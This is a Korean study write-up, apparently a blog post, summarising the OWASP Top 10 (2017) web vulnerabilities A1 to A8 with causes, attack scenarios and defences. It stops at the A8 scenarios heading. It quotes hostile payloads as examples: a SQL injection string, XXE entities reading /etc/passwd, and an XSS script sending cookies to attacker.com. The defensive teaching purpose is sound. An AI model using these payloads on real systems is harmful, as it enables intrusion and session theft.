[ 인터넷 보안 ] OWASP TOP10 에 대해서 조사 및 분석

1. OWASP와 OWASP TOP 10
 
(1) OWASP란?
OWASP(The Open Web Application Security Project)는 오픈소스 웹 애플리케이션 보안프로젝트이다. 주로 웹에 관한 정보노출, 악성 파일 및 스크립트, 보안 취약점 등을 연구하며, 10대 웹 애플리케이션의 취약점(OWASP TOP 10)을 발표했다.
 
(2) OWASP TOP 10
OWASP TOP 10은 웹 애플리케이션 취약점 중에서 빈도가 많이 발생하고, 보안상 영향을 크게 줄 수 있는 것들 10가지를 선정하여 2004년, 2007년 , 2010년, 2017년을 기준으로 발표되었고 문서가 공개 되었다.
 

OWASP TOP 10 - 2017년 발표
A1. 인젝션
A2. 취약한 인증
A3. 민감한 데이터 노출
A4. XML외부 개체 (XEE)[새로나온 공격]
A5. 취약한 접근 통제(취약한 접근 통제)
안전하지 않은 직접객체 참조와 기능 수준의 접근통제 누락을 합한 것
A6. 잘못된 보안 구성
A7. 크로스 사이트 스크립팅(XSS)
A8. 안전하지 않은 역직렬화 [새로나온 공격, 커뮤니티]
A9. 알려진 취약점이 있는 구성요소 사용
A10. 불충분한 로깅 및 모니터링[새로나온 공격, 커뮤니티]
 
2. OWASP TOP 10 - 2017년 기준
 
(1) A1 : 인젝션
 
1) 공격의 개요 : SQL, OS, XXE, LDAP 인젝션 취약점은 신뢰할 수 없는 데이터가 명령어나 쿼리문의 일부분으로써, 인터프리터로 보내질 때 발생합니다. 공격자의 악의적인 데이터는 예기치 않은 명령을 실행하거나 올바른 권한 없이 데이터에 접근하도록 인터프리터를 속일 수 있습니다.
 
2) 공격의 발생 원인(취약점 등)
애플리케이션은 아래와 같은 경우 공격에 취약합니다.
• 사용자 제공 데이터가 유효하지 않거나, 필터링 되어 지지 않거나, 애플리케이션에 의해 정제되지 않습니다.
• 상황인식기반 필터링 없이 동적 쿼리나 매개 변수화 되지 않은 호출이 인터프리터에서 직접 사용됩니다.
• 악의적인 데이터가 객체 관계형 매핑(ORM) 검색매개변수 내에서 사용되어 추가로 민감한 정보를 추출합니다.
• 악의적인 데이터가 직접적으로 동적 쿼리안에 포함된 구조적 데이터와 악의적 데이터를 포함한 명령어, 일반명령어, SQL, 저장 프로시저에 사용되거나 연결됩니다.
 
3) 공격 사례들
# 시나리오 1 : 애플리케이션은 다음과 같은 취약한 SQL 호출 구조에서 신뢰되지 않은 데이터를 사용합니다.
String query = "SELECT*FROM accounts WHERE custID="" + request.getParameter("id")+""
# 시나리오 2 : 마찬가지로, 프레임워크에 대한 애플리케이션의 맹목적인 신뢰는 여전히 취약한 쿼리를 초래합니다.
Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");
두 개의 사례로 보아, 공격자는 브라우저에서 전송할 ‘id'파라미터 값을 수정합니다
'or'1'='1.
예시 ) http://example.com/app/accountView?id=' or '1'='1
이렇게 하면, 두 쿼리의 의미가 변경되어 accounts 테이블의 모든 레코드가 반환됩니다. 더 위험한 공격은 저장 프로시저의 데이터를 수정하거나 파괴합니다.
 
3) 공격 대응 방법
인젝션을 예방하기 위해서는 데이터를 지속적으로 명령어와 쿼리로 부터 분리시켜야 합니다.
기본 옵션은 인터프리터 사용을 피하거나, 매개 변수화 된 인터페이스를 제공하는 안전한 API를 사용하거나 ORMs 툴을 사용하도록 마이 그레이션 하는 것입니다.
주의 : 매개변수화 된 경우에도 PL / SQL이나 T-SQL과 데이터/쿼리가 연결되거나 악의적인 데이터가 EXECUTE IMMEDIATE 또는 exec()와 함께 실행된다면 저장 프로시저는 여전히 SQL인젝션을 실행할 수 있습니다.
서버 측 “화이트리스트”나 적극적인 입력값 유효성 검증을 하십시오, 하지만 많은 애플리케이션이 모바일 애플리케이션을 위한 텍스트 영역이나 API와 같은 특수 문자를 필요로 하기 완벽한 방어책은 아닙니다.
남은 동적 쿼리들을 위하여 특정 필터링 구문을 사용하여 인터프리터에 대한 특수 문자를 필터링 처리 하십시오.
주의 : 테이블, 컬럼 이름 등과 같은 SQL구조는 필터링 처리를 할 수가 없기 떄문에 사용자가 제공한 구조 이름은 안전하지 않습니다. 이는 보고서 작성 소프트웨어의 일반적인 문제입니다.
LIMIT과 다른 SQL 컨트롤 쿼리를 사용하여 SQL인젝션으로 인한 대량 노출을 예방하십시오.
 
 
(2) A2 : 취약한 인증
 
1) 공격의 개요 : 인증 및 세션 관리와 관련된 애플리케이션 기능이 종종 잘못 구현되어 공격자들이 암호, 키, 세션 토큰을 위험에 노출시킬 수 있거나 일시적 또는 영구적으로 다른 사용자의 권한 획득을 위해 구현 상 결함을 악용하도록 허용합니다.
 
2) 공격의 발생 원인(취약점 등)
인증과 관련된 공격으로부터 보호하기 위해서 사용자의 신원, 인증 및 세션을 관리하는 것이 매우 중요합니다. 만약 애플리케이션이 아래와 같을 경우 인증 취약점이 있을 수 있습니다.
공격자가 유효한 사용자 이름과 비밀번호를 가진 상태에서 계정정보 삽입고 ㅏ같은 자동화 공격을 허용합니다.
무차별 공격 또는 기타 자동화 공격을 허용합니다.
"Password1" 또는 "admin/admin"과 같은 기본 암호, 약한 암호 또는 잘 알려진 암호를 허용합니다.
안전하지 않게 만들어진 “지식 기반 답변”과 같은 취약하거나 효과가 없는 자격 증명 복구나 비밀번호 복구를 허용합니다.
평문, 암호화 되거나 취약한 해쉬 비밀번호를 사용합니다.
세션 ID가 URL에 노출됩니다.(e.g., URL rewriting)
세션 ID를 제대로 무효화 시키지 않습니다. 로그아웃이나 비활성 기간 중에 사용자 세션 및 인증 토큰(특히 SSO(Single Sign On)토큰)이 제대로 무효화 되지 않습니다.
 
3) 공격 사례들
# 시나리오 1: 알려진 암호 목록을 사용한 계정 정보 삽입이 일반적입니다. 애플리케이션이 자동화된 위협 또는 계정정보 삽입 방어를 구현하지 않은 경우, 애플리케이션을 암호 오라클로 사용하여 계정정보가 유효한지 확인할 수 있습니다.
#시나리오 2: 대부분의 인증공격은 암호를 유일한 인증요소로 계속 사용하는 것으로 인해 발생합니다. 모범 사례로 간주된 비밀번호 주기와 복잡성 요구사항은 사용자가 취약한 비밀번호를 등록하고 재 사용할 수 있도록 권장합니다. 따라서 조직에서는 NIST 800-63에 따라 이러한 관행을 중단하고 다중인증을 사용하는 것이 좋습니다.
#시나리오 3: 애플리케이션 세션에 대한 적절한 만료시간이 정해지지 않는 것 입니다. 사용자는 공용 컴퓨터로 애플리케이션에 접근, “로그아웃”을 선택하지 않고 단순히 브라우저 탭을 닫고 나갑니다. 한 시간 이후에 공격자가 같은 브라우저를 사용한다면 사용자는 여전히 인증되어 있을 것입니다.
 
4) 공격 대응 방법
가능한 경우, 다중인증을 구현하여 자동화 된 계정 정보 삽입, 무차별 공격, 탈취된 계정 정보 재사용 공격을 예방합니다.
특히 admin계정의 경우 기본 계정 정보를 사용하여 제공하거나 배포하지 마십시오.
비밀번호를 생성하거나 변경할 때 최악의 top 10000개 비밀번호 목록 이외로 설정하도록 하는 것과 같은 약한 비밀번호 검사를 구현하십시오.
NIST 800-63 B's guidelines in section 5.1.1 for Memorized Secretsdp 따라 암호길이, 복잡성 및 순환 정책 또는 다른 최신 정책, 근거 기반 암호 정책을 조정합니다.
계정 열거공격에 대한 대비로 모든 결과에 대해 동일한 메시지를 사용하여 등록, 계정 정보 복구, API 경로를 강화하십시오.
로그인 실패에 대한 제한이나 시간 연기를 하십시오. 모든 실패에 대해 로그를 남기고 계정 정보 삽입, 무차별 공격, 다른 공격들이 탐지되면 관리자에게 알림이 오도록 설정하십시오.
로그인 이후에 예측 불허한 무작위 세션 ID를 생성하는 서버측의 안전한 내장 세션 관리자를 사용하십시오. 세션 ID는 URL에 없어야 하며, 매우 안전하게 보관되어야 하고 로그아웃, 유휴 및 절대 시간 초과 이후 무효화되어야 합니다.
 
(3) A3 : 민감한 데이터 노출
1) 공격의 개요 : 다수의 웹 애플리케이션과 API는 금융 정보, 건강 정보, 개인 식별 정보와 같은 중요한 정보를 제대로 보호하지 않습니다. 공격자는 신용카드 사기, 신분 도용 또는 다른 범죄를 수행하기 위해 보호가 취약한 데이터를 훔치거나 수정할 수 있습니다. 중요한 데이터는 저장 또는 전송할 때 암호화 같은 추가 보호 조치가 없으면 탈취 당할 수 있으며, 브라우저에서 주고 받을 때 각별한 주의가 필요합니다.
 
2) 공격의 발생 원인(취약점 등)
우선 전송을 하거나 하지 않거나 데이터 보호 요구사항을 확인합니다. 패스워드, 신용카드 번호, 건강기록, 개인정보, 업무기술들은 특별한 보호가 필요하며 , EU 의 General Data Protection Regulation(GDPR)와 같은 개인보호법이나 PCI Data Security Standard(PCI DSS)와 같은 금융 데이터 보호 규정에 해당된다면 특별히 보호해야 합니다.
보호가 필요한 데이터의 경우 :
평문으로 데이터를 전송합니까? HTTP, SMTP, FTP와 같은 프로토콜이 그런 경우입니다. 외부 인터넷 트래픽은 특히 위험합니다. 로드 밸런서, 웹 서버, 백엔드 시스템 간의 내부 트래픽도 확인합니다.
백업을 포함하여 저장할 때 평문으로 처리하는 민감한 데이터가 있습니까?
오래되거나 취약한 암호 알고리즘을 이전 및 현재 소스 코드에 적용하고 있지 않습니까?
디폴트 암호 키 사용 및 약한 암호 키를 생성 및 재사용하거나 적절한 키 관리 및 변경이 이루어 집니까?
사용자 프로그램(브라우저)에서 보안 디렉티브나 헤더와 같은 암호화를 적용하고 있습니까?
사용자 프로그램(앱, 메일 클라이언트)에서 서버 인증이 유효한지 확인합니까?
 
3) 공격 사례들
# 시나리오 1 : 애플리케이션은 자동화된 데이터베이스 암호화를 사용하여 데이터베이스의 신용 카드 번호를 암호화합니다. 그러나 이 데이터는 검색될 때 자동으로 복호화되므로 SQL 삽입 결함으로 일반 텍스트의 신용 카드 번호가 검색될 수 있습니다.
# 시나리오 2 : 모든 웹 페이지에 TLS를 반드시 사용하지 않거나 약한 암호화를 지원하는 사이트. 공격자는 (안전하지 않은 무선 네트워크에서) 쉽게 네트워크 트래픽을 모니터링하고 HTTPS를 HTTP로 낮추며, 요청을 중간에서 가로채고 사용자 세션 쿠키를 탈취합니다. 이어서 공격자는 이 쿠키를 다시 사용해서 사용자의 (인증된) 세션을 악용하여 사용자의 개인 정보에 접근하거나 수정합니다. 금융 거래시 수취인과 같은 전송된 모든 데이터를 바꿀 수도 있습니다.
# 시나리오 3 : 패스워드를 저장할 때 솔트를 하용하지 않거나 간단한 해시를 사용하는 데이터베이스. 파일 업로드 취약점을 통해 공격자는 패스워드 데이터베이스를 가져올 수 있습니다. 솔트되지 않은 해시들은 미리 계산된 해시들을 가진 레인보우 테이블에 노출될 수 있습니다. 간단하거나 빠른 해시 함수로 만들어진 해시는 솔트를 적용했더라도 GPU를 이용하여 크랙될 수 있습니다.
 
4) 공격 대응 방법
최소한 다음 내용을 준수하고, 레퍼런스를 참고 합니다 :
애플리케이션에서 사용하는 데이터를 처리, 저장, 전송으로 분류합니다. 개인정보 보호법, 법률, 업무 필요에 따라 어떤 데이터가 민감한지 파악합니다.
분류에 따라 통제합니다.
불필요한 민감한 데이터는 저장하지 않습니다. 가능한 빨리 그런 데이터를 폐기 및 PCI DSS 규정을 준수하거나 불필요한 내용을 줄입니다. 가지고 있지 않으면 도둑맞을 일도 없습니다.
모든 민감한 데이터들을 암호화하는지 확인합니다.
최신의 강력한 표준 알고리즘, 프로토콜, 암호 키를 사용하는지 확인합니다 ⇨ 적합한 키 관리를 사용합니다.
Perfect Forward Secrecy(PFS) 암호를 사용하는 TLS, 서버의 암호 우선 순위 지정 및 보안 매개 변수와 같은 보안 프로토콜로 전송 중인 모든 데이터를 암호화 하십시오. HTTP Strict Transport Security(HSTS)와 같은 지시문을 사용하여 암호화를 시행합니다.
민감한 데이터를 포함하는 응답 캐시를 비활성화 합니다.
Argon2, scrypt, bcrypt, PBKDF2와 같은 워크 팩터(딜레이 팩터)를 가진 적응형 솔트된 해시 함수를 사용하여 패스워드를 저장합니다.
개별적으로 설정들의 유효성을 검증합니다.
 
(4) A4 : 2017XML 외부 개체 (XXE)
1) 공격의 개요 : 오래되고 설정이 엉망인 많은 XML 프로세서들은 XML 문서 내에서 외부 개체 참조를 평가합니다. 외부 개체는 파일 URI 처리기, 내부 파일 공유, 내부 포트 스캔, 원격 코드 실행과 서비스 거부 공격을 사용하여 내부 파일을 공개하는데 사용할 수 있습니다.

2) 공격의 발생 원인(취약점 등)
아래와 같은 애플리케이션, 특히 XML 기반 웹 서비스나 다운 스트림을 사용할 경우 공격에 취약할 수 있습니다:
애플리케이션이 직접 XML를 입력 받거나 특히 신뢰할 수 없는 곳의 XML를 업로드하거나 XML 문서에 신뢰할 수 없는 데이터를 입력할 경우. 이는 XML 프로세서가 처리합니다.
애플리케이션에 있는 XML 프로세서나 웹 서비스 기반의 SOAP에 Document Type Definitions(DTD)이 활성화되어 있을 경우. DTD 처리를 비활성화하는 정확한 방법은 처리기마다 다르기 때문에 OWASP Cheat Sheet 'XXE Prevention’와 같은 문서들을 참조하기를 권장합니다.
애플리케이션이 페더레이션 보안이나 싱글 사인온(SSO)의 목적으로 확인 처리를 위해 SAML을 사용할 경우입니다. SAML은 assertio을 확인하기 위해 XML을 사용하며 취약할 수 있습니다.
애플리케이션이 1.2이전의 SOAP을 사용하고 있다면 XML 개체들이 SOAP 프레임워크에 넘겨질 경우 XXE 공격에 민감할 수 있습니다.
XXE 공격에 취약하다는 것은 애플리케이션이 Billion Laughs 공격을 포함하는 서비스 공격에 취약하다는 것을 의미합니다.
 
3) 공격 사례들
임베디드 장비 공격을 포함하는 수많은 공개 XXE 이슈들이 발견되고 있습니다. XXE는 많은 의존성을 가진 것을 포함하는 수많은 예상치 못한 곳에서 발생합니다. 가장 쉬운 방법은 악의적인 XML 파일을 업로드하는 것이며, 이것이 가능하다면 취약합니다:
# 시나리오 1 : 공격자는 서버에서 데이터를 가져오려고 시도합니다:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>
# 시나리오 2 : 공격자는 ENTITY 라인을 변경하여 서버의 사설망을 찾으려 합니다. : <!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]> 시나리오 #3: 공격자는 잠재적으로 무한 파일을 포함하여 서비스 거부 공격을 시도합니다:
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
 
4) 공격 대응 방법
개발자에 대한 교육이 완벽하게 XEE을 확인하고 완화시키는데 필수적입니다. 그외에 XXE를 막기 위해서 다음이 필요합니다:
가능할 때마다, JSON과 같은 덜 복잡한 데이터 형식을 사용하거나 민감한 데이터를 지양합니다.
애플리케이션이나 운영체제에서 사용중인 모든 XML 프로세서와 라이브러리를 패치하거나 업그레이드합니다. 의존성 체커를 사용합니다. SOAP을 SOAP 1.2나 그 이상으로 업그레이드합니다.
OWASP Cheat Sheet 'XXE Prevention’에 따라 애플리케이션에 있는 모든 XML 파서의 XML 외부 개체와 DTD 처리를 비활성화합니다.
서버에서 허용 목록(화이트리스트)을 이용한 입력값 검증, 필터링, 검사를 구현해서 XML 문서, 헤더, 노드에 있는 악의적인 데이터를 막습니다.
XML이나 XSL 파일 업로드 기능이 XSD 검증기 같은 것을 사용해서 XML이 유효한 내용인지 확인하고 검증합니다.
많은 것들이 통합된 크고 복잡한 애플리케이션에서는 수동으로 소스코드 리뷰가 최선의 방법일 수 있으나, SAST는 소스코드에 존재하는 XXE를 탐지하는데 도움이 될 수 있습니다.
위 방법들이 가능하지 않다면 XXE 공격을 확인하고 감시하고 막기 위해 가상 패치, API 보안 게이트웨이, 웹 애플리케이션 방화벽(WAF) 사용을 고려하기 바랍니다.
 
 
(5) A5 : 취약한 접근 통제
1) 공격의 개요 : 인증된 사용자가 수행할 수 있는 작업에 대한 제한이 제대로 적용되어 있지 않습니다. 공격자는 이러한 결함을 악용하여 다른 사용자의 계정에 접근하거나, 중요한 파일을 보거나, 다른 사용자의 데이터를 수정하거나, 접근 권한을 변경하는 등 권한 없는 기능과 데이터에 접근할 수 있습니다.
 
2) 공격의 발생 원인(취약점 등)
접근통제는 사용자들이 의도한 권한을 벗어난 행동을 할 수 없도록 정책을 시행합니다. 접근통제에 실패할 경우 일반적으로 인가되지 않은 정보 노출, 데이터 조작이나 파괴, 사용자에게 허용된 범위를 벗어난 사업적 기능 수행 등을 초래하게 됩니다. 흔하게 발생하는 접근통제 취약점들은 아래 사항들을 포함 합니다:
URL, 내부 애플리케이션상태나 HTML 페이지 조작, 맞춤형 API 공격 툴을 통해 접근통제 절차를 우회할 수 있습니다.
기본 키가 다른 사용자의 레코드로 변경되도록 허용하고 다른 계정의 정보를 열람하거나 편집할 수 있도록 허용되어있다면 접근통제에 실패한 것입니다.
로그인 하지 않고 활동하는 사용자나 일반 사용자로 로그인하여 관리자 처럼 활동하는 사용자가 있다면 권한상승이 가능한 상태입니다.
JSON 웹 토큰 (JWT)의접근 통제 토큰 재 전송이나 변경, 권한 상승 목적으로 쿠키나 감춰진 필드 조작, JWT 토큰 무효화 악용 등과 같은 메타 데이터 조작 행위가 허용 된다면접근 통제에 실패한 것 입니다.
CORS에 대한 설정이 잘못되어있을 경우 인가되지않은 API에 접근을 허용할 수도 있습니다.
인증 절차를 거치지 않은 사용자가인증이 필요한 페이지를 둘러보게 하거나, 권한이 필요한 페이지에 일반 사용자가 접근해 보도록 하거나 POST, PUT, DELETE 메소드에 대한 접근통제를 적용하지 않은 API를 사용해 보게끔 함으로써 접근통제실패 여부를 확인할 수 있습니다.
 
3) 공격 사례들
# 시나리오 1: 입력값을 검증 절차없이 사용자 계정 정보에 접근하는 용도의 SQL문에서 사용하는 애플리케이션이 있고 아래와 같은 형태의 소스코드로 구현되어있다고 가정해봅시다:
pstmt.setString(1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery( ); 공격자는 브라우저에서 서버로 전송되는 시점에 아래와 같은 형태로 acct 파라미터를 원하는 값으로 수정할 수 있고, 만약 입력값을 적절히 검증하지 않는다면 다른 사용자의 계정에 접근하게 될 수도 있습니다.
http://example.com/app/accountInfo?acct=notmyacct
# 시나리오 2: 공격자가 브라우저를 통해 원하는 대상의 URL을 직접 입력할 경우 접근 대상이 Admin 페이지라면관리자외의 인원은 접근할 수 없어야합니다. http://example.com/app/getappInfo http://example.com/app/admin_getappInfo
위와 같은 URL 직접 입력을 통해 인가되지 않은 사용자가 요청한 페이지에 접근할 수 있거나, 관리자외의인원이 Admin 페이지에 접근할 수 있다면 취약합니다.
 
4) 공격 대응 방법
접근 통제는공격자가접근 제어 검사 또는 메타 데이터를수정할수 없는 신뢰할수 있는 서버측 코드 또는 서버가없는 API에 적용될 경우에만 효과적입니다.
불특정 다수에게 공개된 자원을 제외하곤 디폴트 정책은 차단으로 운영해야합니다.
CORS 사용 최소화를 포함한 접근통제 절차를 구현하고 애플리케이션 전체에 적용해야 합니다.
접근통제 모델은 사용자에게 특정 레코드를 생성/열람/수정/삭제할 수 있는 권한을 허용하기보다는 레코드소유자만권한을 갖게 끔 강제해야 합니다.
유일한 애플리케이션 비즈니스의 제한 요구 사항들은 도메인 모델에 의해 적용되어야 합니다.
웹 서버상의 디렉토리 리스팅 기능을 비활성화하고 .git과 같은 메타 데이터와 백업파일들이 웹 루트에 존재하지 않게끔 운영해야합니다.
접근 통제에 실패한 경우에는 기록되어야하고, 반복적인실패가 발생하는 것과 같이 적절한 시점에 관리자에게 경고 메시지가 전송되어야 합니다.
자동화공격 툴로 인한 피해를 최소화하기 위해 API와 컨트롤러에 대한 접근 임계치를 제한해야 합니다.
JWT토큰은 로그아웃 이후 무효화되어야 합니다.
개발자 및 품질보증담당자는기능적인접근통제부분과통합 테스트를 포함시켜야만합니다.
 
(6) A6 : 잘못된 보안 구성
1) 공격의 개요 : 잘못된 보안 구성은 가장 흔하게 보이는 이슈입니다. 취약한 기본 설정, 미완성 (또는 임시 설정), 개방된 클라우드 스토리지, 잘못 구성된 HTTP 헤더 및 민감한 정보가 포함된 장황한 에러 메시지로 인한 결과입니다. 모든 운영체제, 프레임워크, 라이브러리와 애플리케이션을 안전하게 설정해야 할 뿐만 아니라 시기 적절하게 패치/ 업그레이드를 진행해야 합니다.
 
2) 공격의 발생 원인(취약점 등)
애플리케이션이 아래 사항들에 해당할 경우 취약한 상태일 수도 있습니다:
애플리케이션 스택 전 영역에 적절한 보안 강화 절차가 누락된 상태이거나 클라우드 서비스 상에 권한이 부적절하게 설정되어 있습니다.
불필요한 기능(예: 포트, 서비스, 페이지, 계정, 특수권한 등)이 활성화 되거나 설치되어 있습니다.
디폴트 계정과 비밀번호가 활성화 되어 있거나 해당 정보들을 변경 없이 사용하고 있는 중입니다.
에러 처리 과정에서 스택 추적 정보나 공격에 도움이 될만한 다른 정보들을 노출하고 있습니다.
업그레이드된 시스템 상에 최신 보안 기능들이 비활성화 되어 있거나 안전하게 설정되어 있지 않습니다.
애플리케이션 서버, 프레임워크(예:Struts, Spring, ASP.NET), 라이브러리, 데이터베이스 상에 보안 설정이 되어 있지 않다.
서버가 보안 헤더, 보안 강화 수단을 보내지 않거나 안전한 값을 설정하지 않고 있습니다.
구 버전이나 취약한 버전의 소프트웨어를 사용하고 있습니다. (A9:2017-알려진 취약점이 있는 구성요소 사용 참고).
협력적이고 반복적인 애플리케이션 보안 설정 절차가 없다면 시스템은 높은 위험에 처해 있다고 봐야 합니다.
 
 
3) 공격 사례들
# 시나리오 1: 알려진 취약점을 포함하고 있는 샘플 애플리케이션이 삭제되지 않은 채로 애플리케이션 서버가 운영 환경에서 사용 중이라면, 샘플 애플리케이션은 공격자가 서버를 공격하는데 악용될 수 있습니다. 샘플 애플리케이션 중에 관리 콘솔이 포함되어 있고 디폴트 계정 정보가 변경되지 않았다면, 공격자는 디폴트 패스워드를 사용해 접속에 성공함으로써 권한을 획득할 수도 있습니다.
# 시나리오 2: 서버 내 디렉토리 리스팅이 비활성화 되지 않았다면, 공격자는 디렉토리 목록이 노출됨을 발견하게 되고 자바 클래스 파일을 다운로드하여 디컴파일과 리버스엔지니어링을 통해 애플리케이션 상에 존재하는 심각한 접근 통제 취약점을 찾아낼 수도 있습니다.
# 시나리오 3: 사용자에게 전달하는 응답 메시지 상에 스택 추적 정보와 같은 상세한 에러 메시지를 노출하도록 애플리케이션 서버가 설정되어 있다면, 구성 요소 버전 정보와 같은 공격에 도움을 줄 수 있는 민감한 정보나 내부적인 결함들이 잠재적으로 노출될 수 있습니다.
# 시나리오 4: 클라우드 서비스 제공자가 다른 클라우드 서비스 이용자들이 인터넷을 통해 접근 가능한 상태로 디폴트 공유 권한을 열어둔 상태라면, 클라우드 스토리지에 저장되어 있는 민감한 데이터에 대한 접근을 허용할 수도 있습니다.
 
4) 공격 대응 방법
아래 사항들을 포함한 안전한 설치 과정이 시행되어야 합니다:
위험을 적절하게 차단할 수 있도록 빠르고 쉽게 다른 환경으로 전환할 수 있는 반복적인 보안 강화 절차를 적용해야 합니다. 개발, 품질 관리, 운영 환경은 환경 별로 상이한 자격 증명 정보를 사용하고 동등한 보안 수준으로 설정되어야 하며, 새로운 보안 환경을 구축하는데 소모되는 리소스를 최소화 하기 위해 절차를 자동화 해야 합니다.
불필요한 기능, 구성 요소, 문서, 샘플 애플리케이션 없이 최소한으로 플랫폼을 유지하고 사용하지 않는 기능과 프레임워크는 삭제하거나 설치하지 말아야 합니다.
패치 관리 절차의 일부분으로 모든 보안 정보, 업데이트, 패치를 대상으로 설정을 적절히 검토하고 갱신하는 절차가 필요하며, 특히 S3 버킷 권한과 같은 클라우드 스토리지 권한을 검토하는 절차가 중요합니다(A9:2017-알려진 취약점이 있는 구성요소 사용 참고).
세분화, 컨테이너화, 클라우드 보안 그룹과 같은 방법으로 구성 요소나 입주자들 간에 효율적이고 안전한 격리를 제공하는 세분화된 애플리케이션 아키텍처를 적용해야 합니다.
보안 해더와 같은 보안 강화 수단을 사용자에게 전송해야 합니다.
모든 영역의 보안 설정이 적절히 반영되어 있는지 검증할 수 있는 자동화된 절차를 수립해야 합니다.
 
(7) A7 : 크로스 사이트 스크립팅(XSS)
1) 공격의 개요 : XSS 취약점은 애플리케이션이 올바른 유효성 검사 또는 필터링 처리 없이 새 웹 페이지에 신뢰할 수 없는 데이터를 포함하거나, 자바스크립트와 HTML을 생성하는 브라우저 API를 활용한 사용자 제공 데이터로 기존 웹 페이지를 업데이트할 때 발생합니다. XSS는 피해자의 브라우저에서 공격자에 의해 스크립트를 실행시켜 사용자 세션을 탈취할 수 있게 만들고, 웹 사이트를 변조시키고, 악성 사이트로 리다이렉션할 수 있도록 허용합니다.
 
2) 공격의 발생 원인(취약점 등)
일반적으로 사용자의 브라우저를 목표로 하는 세 가지 형태의 크로스 사이트 스크립팅(XSS)이 있습니다:
리플렉티드 XSS: HTML 출력의 일부로써 유효성이 확인되지 않고, 특수문자가 필터되지 않은 사용자 입력이 애플리케이션 혹은 API에 포함됩니다. 공격이 성공하면 공격자는 피해자의 브라우저에서 임의의 HTML과 자바스크립트를 실행할 수 있습니다. 전형적으로 사용자는 악의적인 워터링 홀 공격을 수행하는 웹 사이트, 광고 사이트 혹은 이와 유사한 공격자에 의해 제어되는 페이지를 가리키는 몇몇 악의적인 링크와 상호 작성을 해야 할 필요가 있습니다.
저장 XSS: 응용 프로그램 또는 API에서 나중에 다른 사용자 또는 관리자가 볼 수 있는 정제되지 않은 사용자 입력값이 저장됩니다. 저장 XSS는 종종 높은 혹은 중대한 위험으로 간주됩니다.
DOM 기반 XSS: 페이지에 공격자가 제어 가능한 데이터를 동적으로 포함할 수 있는 자바스크립트 프레임워크, 한 페이지 애플리케이션, 그리고 API는 DOM 기반 XSS에 취약합니다. 이론상으로 애플리케이션은 안전하지 않은 자바스크립트 API로 공격자가 제어 가능한 데이터를 보내지 않습니다.
전형적인 XSS 공격은 세션 도용, 계정 탈취, 다중 요소 인증 우회, 트로이 목마 악성코드 배포 로그인 패널과 같은 DOM 노드 대체 혹은 변조, 악성코드 다운로드, 키 로깅, 그리고 다른 클라이언트 측면의 공격과 같은 사용자 브라우저에 대한 공격을 포함합니다.
 
3) 공격 사례들
# 시나리오 1: 이 애플리케이션은 유효성 검사 또는 필터링 처리없이 다음의 HTML 조각의 구성 내 신뢰할 수 없는 데이터를 사용합니다:
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
공격자는 브라우저 내에서 다음과 같이 ‘CC’ 파라미터를 조작 합니다: '>

SCRIPT
document.location= '<a href=http://www.attacker.com/cgi-bin/cookie.cgi?>http://www.attacker.com/cgi-bin/cookie.cgi?</a> foo='+document.cookie
'.
이 공격으로 인해 피해자의 세션 ID가 공격자의 웹 사이트로 전송되어 공격자가 사용자의 현재 세션을 가로챌 수 있습니다.
주: 공격자는 XSS를 사용하여 애플리케이션이 사용할 수 있는 자동화된 크로스 사이트 요청 변조(CSRF) 방어를 무력화할 수 있습니다.
 
4) 공격 대응 방법
XSS를 방지하려면 신뢰할 수 없는 데이터를 사용 중인 브라우저 컨텐츠와 분리해야 합니다. 이것은 다음에 의해 달성될 수 있습니다:
최신 Ruby on Rails, React JS와 같이 XSS를 자동으로 필터링 처리하는 프레임워크를 사용합니다. 각 프레임워크의 XSS 보호의 한계를 알아보고 다루지 않은 사용 사례들을 적절히 처리하기 바랍니다.
HTML 출력(본문, 속성, 자바스크립트, CSS 혹은 URL) 내 컨텍스트 기반으로 신뢰할 수 없는 HTTP 요청 데이터를 필터링하며 리플렉티드 및 저장 XSS 취약점이 해결됩니다. 요구되는 데이터 필터링 기술에 대한 상세 내용은 OWASP 치트 시트 'XSS 방어’ 을 참고 바랍니다.
클라이언트 측에서 브라우저 문서를 수정할 때 상황에 맞는 인코딩을 적용하면 DOM XSS에 대해 대응할 수 있습니다. 이것으로 방어할 수 없는 경우, OWASP 치트 시트 'DOM 기반 XSS 방어’ 에서 기술된 바와 같이 브라우저 API에 유사한 문맥 감지 필터링 기술을 적용할 수 있습니다.
컨텐츠 보안 정책(CSP)의 활성화는 XSS에 대한 심층적인 방어 통제입니다.
로컬 파일 첨부(예: 경로 조작 덮어 쓰기 또는 허용된 콘텐츠 제공 네트워크의 취약한 라이브러리)를 통해 악성코드를 배치할 수 있는 다른 취약점이 없는 경우라면 효과적입니다.
 
 
 
(8) A8 : 안전하지 않은 역직렬화
1) 공격의 개요 : 안전하지 않은 역직렬화는 종종 원격 코드 실행으로 이어집니다. 역직렬화 취약점이 원격 코드 실행 결과를 가져오지 않더라도 이는 권한 상승 공격, 주입 공격과 재생 공격을 포함한 다양한 공격 수행에 사용될 수 있습니다.
 
2) 공격의 발생 원인(취약점 등)
애플리케이션 및 API가 공격자의 악의적이거나 변조된 객체를 역직렬화하면 취약해질 수 있습니다. 이로 인해 크게 두가지 유형의 공격이 발생할 수 있습니다:
객체 및 데이터 구조 관련 공격입니다. 공격자가 애플리케이션 로직을 수정하거나 애플리케이션에 사용 가능한 클래스가 있는 경우 임의의 원격 코드를 실행하여 역직렬화 중이나 이후에 동작을 변경할 수 있습니다.
접근 통제 관련 공격과 같이, 기존 데이터 구조가 사용되지만 내용이 변경되는 일반적인 데이터 변조 공격입니다.
직렬화는 다음 용도의 애플리케이션에서 사용될 수 있습니다:
RPC(Remote-Process Communication)/IPC(Inter-Process Communication)
유선 프로토콜, 웹 서비스, 메세지 브로커
캐싱/ 지속 연결 • 데이터베이스, 캐시 서버, 파일 시스템
HTTP 쿠키, HTML 양식 파라미터, API 인증 토큰
 
3) 공격 사례들
